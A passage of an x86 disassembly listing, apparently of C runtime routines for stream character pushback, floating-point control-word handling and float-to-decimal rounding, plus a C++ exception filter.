loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCA8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCC0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB4A0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB4C8, eax
		add	esp, 18h
		movsx	eax, byte_4DB4A2
		mov	dword_4DB4C0, eax
		pop	edi
		movsx	eax, word_4DB4A0
		mov	dword_4DB4C4, eax
		mov	dword_4DB4CC, offset dword_4DB4A4
		mov	eax, offset dword_4DB4C0
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8E8o
					; ___:0043D148o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4D0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4D0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
dword_424754	dd 0E8004247h, 21EB8A4h, 0B4D0A390h, 0FFC3004Dh, 4DB4D035h
					; DATA XREF: ___:00429040o
		dd 91E89000h, 0C3021EB8h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
